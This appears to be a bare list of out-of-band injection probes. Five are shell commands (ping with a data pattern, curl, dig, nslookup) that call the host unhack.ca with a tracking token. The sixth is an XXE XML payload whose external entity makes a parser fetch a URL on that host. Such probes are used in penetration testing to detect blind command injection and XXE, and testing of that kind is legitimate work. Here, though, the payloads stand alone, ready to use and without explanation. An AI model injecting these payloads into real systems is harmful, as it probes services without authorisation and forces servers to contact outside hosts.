$ ping -c1 -p 001f3351d426b2dc5f8bbc04ab868500 unhack.ca
$ curl http://unhack.ca/p/1f3351d426b2dc5f8bbc04ab8685
$ dig 1f3351d426b2dc5f8bbc04ab8685 @unhack.ca
$ dig 1f3351d426b2dc5f8bbc04ab8685.ns.unhack.ca
C:\> nslookup 1f3351d426b2dc5f8bbc04ab8685 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/1f3351d426b2dc5f8bbc04ab8685">]> <foo>&xxe;</foo>